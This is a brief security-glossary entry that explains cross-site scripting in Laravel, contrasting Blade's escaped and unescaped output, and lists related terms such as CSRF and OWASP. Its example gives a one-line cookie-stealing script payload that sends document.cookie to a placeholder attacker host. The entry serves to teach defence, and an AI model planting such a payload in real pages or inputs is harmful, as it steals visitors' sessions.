What Is Cross-Site Scripting (XSS)?
A vulnerability where an attacker injects malicious JavaScript into web pages viewed by other users. The injected script runs in the victim's browser with the same privileges as legitimate scripts, allowing the attacker to steal session tokens, redirect users, or modify page content.
In Laravel Applications
Laravel's Blade templating engine escapes output by default with {{ }}, which prevents most XSS attacks. XSS vulnerabilities are introduced when developers use {!! !!} (unescaped output) with user-supplied input, or when rendering user content in JavaScript contexts.
Example
Using {!! $user->bio !!} in a Blade template is vulnerable to XSS if the user has entered <script>document.location="https://evil.com?c="+document.cookie</script> as their bio.
Related Terms
Cross-Site Request Forgery (CSRF)
An attack where a malicious website tricks a user's browser into performing an unwanted action on a site where the user is authenticated. The browser automatically sends cookies with the request, so the target site processes it as a legitimate action from the user.
Security Headers
HTTP response headers that instruct browsers how to handle your website's content securely. They protect against common attacks like cross-site scripting (XSS), clickjacking, and protocol downgrade attacks by telling the browser what actions are allowed.
OWASP (Open Worldwide Application Security Project)
A nonprofit foundation that produces freely available tools, documentation, and standards for web application security. OWASP is best known for the OWASP Top 10, a list of the ten most critical web application security risks, updated every few years based on real-world data.
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